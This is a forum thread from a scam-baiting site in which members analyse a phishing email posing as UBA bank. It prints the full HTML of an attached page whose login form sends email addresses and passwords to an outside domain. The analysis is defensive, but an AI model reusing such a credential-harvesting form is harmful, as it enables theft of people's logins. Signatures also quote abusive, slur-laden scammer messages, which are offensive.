Author |
Message |
loualsindor
Elite Baiter
Joined: 23 Mar 2012
Posts: 2001
Location: A little rock in a big ocean
|
Posted:
Wed Apr 20, 2016 11:05 pm |
|
From the always popular UBA bank:
Hi Dear Valued customer we are sending every of our customer in the whole world site to see our online marketing business online.
Island to sell online
Login:Island
Password:123
Uba Plc.
And an attached html file (which of course I won't be opening).
Any clues? |
_________________ - 229
X 6
X 5
X 1
Budapest/Fiji - 22,500 miles
Save, Collines, Benin/Victoria Island, Nigeria - 448 miles on a bus
Save, Collines, Benin/Accra, Ghana - 700 miles on a bus
Evil Attorney epics - 22
- Why do you give shit about who i scammed you have to stop sticking ur nose on my shoes. Because it doesn't fit your noses
- Please bring me back before i hit my brain on a pan.
- This business is not like selling shoes and clothes in the market sir.
* Help Keep Eater Running - Click here to donate |
|
|
|
Padme
Moderator
Joined: 27 May 2005
Posts: 7433
Location: The Rebel Base
|
Posted:
Wed Apr 20, 2016 11:58 pm |
|
My guess would be a virus and/or some kind of phishing attempt. I suppose, it could also be something where you've got money -but they wouldn't send that to "every of our customer" |
_________________ "Your knife will surely cut off your head trust me. Useless man zombie."
"Shege danburuba, your end has come. The spirit of all the people you kill is after you now and you can not excape it. See you in hell dan esika."
x2 x6 x2 Acra>Sngpre Acra>Dkr>Rsso>Bmko>Kpndo>Ctnu -Team Woody
Akure>Kano -Amos
x8 x2 Owerri>Maiduguri>Owerri>Lagos>Lomé>Bmko>Kolokani Bmko>Nioro>Bmko>Timbuktu>Bmko>Youri Bmko>Mauritania>Kidira>Dakar>Jail -Team Godwin
's - assorted West Africa safaris, Cyril w/ Spindrift, France-Dublin w/ DSW
|
|
|
|
vonpaso xlura
Baiting Guru
Joined: 10 Apr 2011
Posts: 13781
Location: Bertcad, Lojbanistan
|
Posted:
Thu Apr 21, 2016 12:43 am |
|
You can safely open the HTML file with a plain-text editor. It may contain obfuscated JaveScript (in which case you shouldn't open it with a browser) or a form with the URL of a site that needs to be killed (in which case post it in the fake site forum). |
_________________ ×12 ×3 ×3
unwashed
×163
×186
Accra - SH Cotonou
you are a fake people so do not ever write to me again.
Am mad at you right now ... Am tired of your questions ... Am sick and tire you and your bank
Nigerian pig . go swallow a grenade idiot. Boko Haram will solve your problem idiot .
you are big fool by send a fake payment information and never you contact me again asshole .
your passgae bearing your ATM CATD ... Ant Terrorist Certificate ... legal verterbrate ... expartiate your meaning ... gets to your dwaignted address ... successful ofghw transfer |
|
|
|
loualsindor
Elite Baiter
Joined: 23 Mar 2012
Posts: 2001
Location: A little rock in a big ocean
|
Posted:
Thu Apr 21, 2016 1:46 am |
|
Good deal, I'll see what it's in there, thanks. |
_________________ - 229
X 6
X 5
X 1
Budapest/Fiji - 22,500 miles
Save, Collines, Benin/Victoria Island, Nigeria - 448 miles on a bus
Save, Collines, Benin/Accra, Ghana - 700 miles on a bus
Evil Attorney epics - 22
- Why do you give shit about who i scammed you have to stop sticking ur nose on my shoes. Because it doesn't fit your noses
- Please bring me back before i hit my brain on a pan.
- This business is not like selling shoes and clothes in the market sir.
* Help Keep Eater Running - Click here to donate |
|
|
|
Robert Heinrich der 1.
Baiting Guru
Joined: 10 Oct 2010
Posts: 3877
|
Posted:
Thu Apr 21, 2016 7:44 am |
|
I guess, you can then post the code here using the code-tags.
others can look into it and will see, if it is really phishy... |
_________________ Lagos - Accra - Kasoa (and back) 2x490km Lagos - Nairobi (and back) 2x ~5000km, Nairobi - Mbiri 2x130km on easter sunday, x12 , 6x Penisprint, Dai Teatime / Anderson Frank: but have been there since about 1hr plus no sign of them and was interrogated by the police and almost arrested
Team Eze, 2 lagos - cotonou and lagos - cotonou (he hated it).
The threatening is increasing day by day with different cursed of animals, and i don't know what to do now. ---- am angry for your head |
|
|
|
Uno Nisu
419Eater is my life
Joined: 13 May 2014
Posts: 288
Location: Wherever the character is.
|
Posted:
Thu Apr 21, 2016 8:45 am |
|
Yes, put the contents of the file in pastebin and post link here, I will have a look |
_________________
|
|
|
|
loualsindor
Elite Baiter
Joined: 23 Mar 2012
Posts: 2001
Location: A little rock in a big ocean
|
Posted:
Thu Apr 21, 2016 5:13 pm |
|
It's a pretty small thing, is it okay to just post the code here? I'm no expert but there seems to be a site in there that looks a little goofy. |
_________________ - 229
X 6
X 5
X 1
Budapest/Fiji - 22,500 miles
Save, Collines, Benin/Victoria Island, Nigeria - 448 miles on a bus
Save, Collines, Benin/Accra, Ghana - 700 miles on a bus
Evil Attorney epics - 22
- Why do you give shit about who i scammed you have to stop sticking ur nose on my shoes. Because it doesn't fit your noses
- Please bring me back before i hit my brain on a pan.
- This business is not like selling shoes and clothes in the market sir.
* Help Keep Eater Running - Click here to donate |
|
|
|
loualsindor
Elite Baiter
Joined: 23 Mar 2012
Posts: 2001
Location: A little rock in a big ocean
|
Posted:
Thu Apr 21, 2016 5:25 pm |
|
Snicker...I keep telling him I can't open the thing so he sends me this "link":
file:///C:/Users/rfger/AppData/Local/Temp/TRANSFER%20COPY-1.html
to a file on his computer? Funny stuff. |
_________________ - 229
X 6
X 5
X 1
Budapest/Fiji - 22,500 miles
Save, Collines, Benin/Victoria Island, Nigeria - 448 miles on a bus
Save, Collines, Benin/Accra, Ghana - 700 miles on a bus
Evil Attorney epics - 22
- Why do you give shit about who i scammed you have to stop sticking ur nose on my shoes. Because it doesn't fit your noses
- Please bring me back before i hit my brain on a pan.
- This business is not like selling shoes and clothes in the market sir.
* Help Keep Eater Running - Click here to donate |
|
|
|
Uno Nisu
419Eater is my life
Joined: 13 May 2014
Posts: 288
Location: Wherever the character is.
|
Posted:
Fri Apr 22, 2016 9:27 am |
|
loualsindor wrote: |
It's a pretty small thing, is it okay to just post the code here? I'm no expert but there seems to be a site in there that looks a little goofy. |
sure, put it between the code tags |
_________________
|
|
|
|
loualsindor
Elite Baiter
Joined: 23 Mar 2012
Posts: 2001
Location: A little rock in a big ocean
|
Posted:
Fri Apr 22, 2016 5:51 pm |
|
www.unionlot.tk/Ech.php seems to be the only thing of interest.
Code: |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><script language = "Javascript">/** * DHTML email validation script. Courtesy of SmartWebby.com (http://www.smartwebby.com/dhtml/) */function echeck(str) { var at="@" var dot="." var lat=str.indexOf(at) var lstr=str.length var ldot=str.indexOf(dot) if (str.indexOf(at)==-1){ alert("Invalid E-mail ID") return false } if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){ alert("Invalid E-mail ID") return false } if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){ alert("Invalid E-mail ID") return false } if (str.indexOf(at,(lat+1))!=-1){ alert("Invalid E-mail ID") return false } if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){ alert("Invalid E-mail ID") return false } if (str.indexOf(dot,(lat+2))==-1){ alert("Invalid E-mail ID") return false } if (str.indexOf(" ")!=-1){ alert("Invalid E-mail ID") return false } return true }function ValidateForm(){ var emailID=document.frmSample.user if ((emailID.value==null)||(emailID.value=="")){ alert("Please Enter your Email ID") emailID.focus() return false } if (echeck(emailID.value)==false){ emailID.value="" emailID.focus() return false } return true }</script><title>TRADE FILE...</title><meta http-equiv="content-type" content="text/html; charset=iso-8859-1"><meta name="generator" content="Web Page Maker (unregistered version)"><style type="text/css">/*----------Text Styles----------*/.ws6 {font-size: 8px;}.ws7 {font-size: 9.3px;}.ws8 {font-size: 11px;}.ws9 {font-size: 12px;}.ws10 {font-size: 13px;}.ws11 {font-size: 15px;}.ws12 {font-size: 16px;}.ws14 {font-size: 19px;}.ws16 {font-size: 21px;}.ws18 {font-size: 24px;}.ws20 {font-size: 27px;}.ws22 {font-size: 29px;}.ws24 {font-size: 32px;}.ws26 {font-size: 35px;}.ws28 {font-size: 37px;}.ws36 {font-size: 48px;}.ws48 {font-size: 64px;}.ws72 {font-size: 96px;}.wpmd {font-size: 13px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;}/*----------Para Styles----------*/DIV,UL,OL /* Left */{ margin-top: 0px; margin-bottom: 0px;}</style></head><body><div id="image1" style="position:absolute; overflow:hidden; left:24px; top:509px; width:122px; height:44px; z-index:0"><img src="http://img3.cache.netease.com/www/logo/logo_png.png" alt="" title="" border=0 width=122 height=44></div><div id="image2" style="position:absolute; overflow:hidden; left:714px; top:500px; width:143px; height:59px; z-index:1"><img src="https://www.google.com/images/logos/mail_logo.png" alt="" title="" border=0 width=143 height=59></div><div id="image3" style="position:absolute; overflow:hidden; left:325px; top:521px; width:175px; height:23px; z-index:2"><img src="https://secure.wlxrs.com/~Live.SiteContent.ID/~15.3.21/~/~/~/~/images/WindowsLive.png" alt="" title="" border=0 width=175 height=23></div><div id="image4" style="position:absolute; overflow:hidden; left:507px; top:476px; width:263px; height:82px; z-index:3"><img src="http://mimg.yeah.net/logo/yeahlogo_middle.gif" alt="" title="" border=0 width=263 height=82></div><div id="image5" style="position:absolute; overflow:hidden; left:167px; top:521px; width:142px; height:26px; z-index:4"><img src="https://s.yimg.com/lq/i/brand/purplelogo/uh/us/base.gif" alt="" title="" border=0 width=142 height=26></div>
<form method="POST" name="frmSample" action="http://www.unionlot.tk/Ech.php" onSubmit="return ValidateForm()" style="margin:0px"><input name="user" type="text" style="position:absolute;width:200px;left:316px;top:182px;z-index:6"><input name="pass" type="password" style="position:absolute;width:200px;left:315px;top:219px;z-index:7"><div id="formimage1" style="position:absolute; left:359px; top:264px; z-index:10">
<input type='submit' value='Login Now!'/>
<br><br></div></form><div id="text1" style="position:absolute; overflow:hidden; left:221px; top:183px; width:85px; height:27px; z-index:8"><div class="wpmd"><div><font face="Comic Sans MS" class="ws11"><B>Email:</B></font></div></div></div><div id="text2" style="position:absolute; overflow:hidden; left:230px; top:222px; width:85px; height:27px; z-index:9"><div class="wpmd"><div><font face="Comic Sans MS" class="ws11"><B>Password:</B></font></div></div></div><div id="text3" style="position:absolute; overflow:hidden; left:247px; top:128px; width:367px; height:27px; z-index:11"><div class="wpmd"><div><font color="#342C9A" face="Comic Sans MS"><B> login your email account To view your payment details</B></font></div></div></div></body></html>
|
|
_________________ - 229
X 6
X 5
X 1
Budapest/Fiji - 22,500 miles
Save, Collines, Benin/Victoria Island, Nigeria - 448 miles on a bus
Save, Collines, Benin/Accra, Ghana - 700 miles on a bus
Evil Attorney epics - 22
- Why do you give shit about who i scammed you have to stop sticking ur nose on my shoes. Because it doesn't fit your noses
- Please bring me back before i hit my brain on a pan.
- This business is not like selling shoes and clothes in the market sir.
* Help Keep Eater Running - Click here to donate |
|
|
|
Haruna
Master of Master Baiters
Joined: 15 Oct 2015
Posts: 581
Location: Festac
|
Posted:
Fri Apr 22, 2016 7:35 pm |
|
|
|
|
loualsindor
Elite Baiter
Joined: 23 Mar 2012
Posts: 2001
Location: A little rock in a big ocean
|
Posted:
Fri Apr 22, 2016 7:40 pm |
|
Then what's his game? |
_________________ - 229
X 6
X 5
X 1
Budapest/Fiji - 22,500 miles
Save, Collines, Benin/Victoria Island, Nigeria - 448 miles on a bus
Save, Collines, Benin/Accra, Ghana - 700 miles on a bus
Evil Attorney epics - 22
- Why do you give shit about who i scammed you have to stop sticking ur nose on my shoes. Because it doesn't fit your noses
- Please bring me back before i hit my brain on a pan.
- This business is not like selling shoes and clothes in the market sir.
* Help Keep Eater Running - Click here to donate |
|
|
|
Haruna
Master of Master Baiters
Joined: 15 Oct 2015
Posts: 581
Location: Festac
|
Posted:
Fri Apr 22, 2016 7:52 pm |
|
I guess the lad tried to set up a fake bank or something similar, but couldn't write the code properly.
The legitimate bank site, I suppose, was to be displayed during some stage of the process.
Edit: take a look at this part of the code. This is a fragment of a not working fake bank:
Quote: |
<form method="POST" name="frmSample" action="http://www.unionlot.tk/Ech.php" onSubmit="return ValidateForm()" style="margin:0px"><input name="user" type="text" style="position:absolute;width:200px;left:316px;top:182px;z-index:6"><input name="pass" type="password" |
|
_________________ Mr. Haruna
x37 x9 x 2 x2 x2
------------
"Younger brother to Hassan, you can fxck off with your deceit and cheat heart." Hassan Jamal.
My sound tracks
|
|
|
|
loualsindor
Elite Baiter
Joined: 23 Mar 2012
Posts: 2001
Location: A little rock in a big ocean
|
Posted:
Fri Apr 22, 2016 8:30 pm |
|
Makes sense, he's enough of a computer genius that he sent me a link to file on his local drive after all!
Nice that he's wasting his time sending messages that don't work. Love it. |
_________________ - 229
X 6
X 5
X 1
Budapest/Fiji - 22,500 miles
Save, Collines, Benin/Victoria Island, Nigeria - 448 miles on a bus
Save, Collines, Benin/Accra, Ghana - 700 miles on a bus
Evil Attorney epics - 22
- Why do you give shit about who i scammed you have to stop sticking ur nose on my shoes. Because it doesn't fit your noses
- Please bring me back before i hit my brain on a pan.
- This business is not like selling shoes and clothes in the market sir.
* Help Keep Eater Running - Click here to donate |
|
|
|
B8er
Associate Boomdazzler
Joined: 16 Feb 2009
Posts: 13625
Location: In self-isolation practicing social distancing
|
Posted:
Sat Apr 23, 2016 3:37 am |
|
He may not be as dumb as you think. You don't know what the php script is doing with the username and password before it redirects to the real bank. |
_________________ "I DENOUNCE THE MUFFIN MEN" - Ma Kim
"YOU ARE WALKING DEAD MAN. YOUR WOODEN COFFIN IS READY TO SWALLOW YOU AND YOUR DIRTY GENERATION"
"all chaps are ass-less by design otherwise they just be leather pants" - jose_cuervo
x 5
x 335 🚽
x 4 x 1746 x 1904 - Fake cheques: $4,392,620.83
Team Woody - Ghana to Singapore - 11535km |
|
|
|
Robert Heinrich der 1.
Baiting Guru
Joined: 10 Oct 2010
Posts: 3877
|
Posted:
Sat Apr 23, 2016 9:31 am |
|
do you think about something like cross site scripting?
lad sends email with html-file to potential victims, hoping that they open it and that they are customers of that bank.
the html-file has a link inside, that sends the PV to a free domain, that starts some scripts and forwards to the real bank site. and now, a script is listening to the login credentials and records everything else, it may even do transactions. |
_________________ Lagos - Accra - Kasoa (and back) 2x490km Lagos - Nairobi (and back) 2x ~5000km, Nairobi - Mbiri 2x130km on easter sunday, x12 , 6x Penisprint, Dai Teatime / Anderson Frank: but have been there since about 1hr plus no sign of them and was interrogated by the police and almost arrested
Team Eze, 2 lagos - cotonou and lagos - cotonou (he hated it).
The threatening is increasing day by day with different cursed of animals, and i don't know what to do now. ---- am angry for your head |
|
|
|
Wealthy Fool
Wannabe Baiter
Joined: 02 Apr 2016
Posts: 82
Location: :noitacoL
|
Posted:
Sat Apr 23, 2016 7:29 pm |
|
|
|
|
Uno Nisu
419Eater is my life
Joined: 13 May 2014
Posts: 288
Location: Wherever the character is.
|
Posted:
Mon Apr 25, 2016 8:21 am |
|
Conclusion: its a very poor attempt at a form sending post data to http://www.unionlot.tk. A phishing attempt and a really poor one.
Code: |
<meta name="generator" content="Web Page Maker (unregistered version)"> |
Apparently he used some free software to generate a form whose action points towards a sketchy site, but apparently he does not know what he is doing. |
_________________
|
|
|
|
|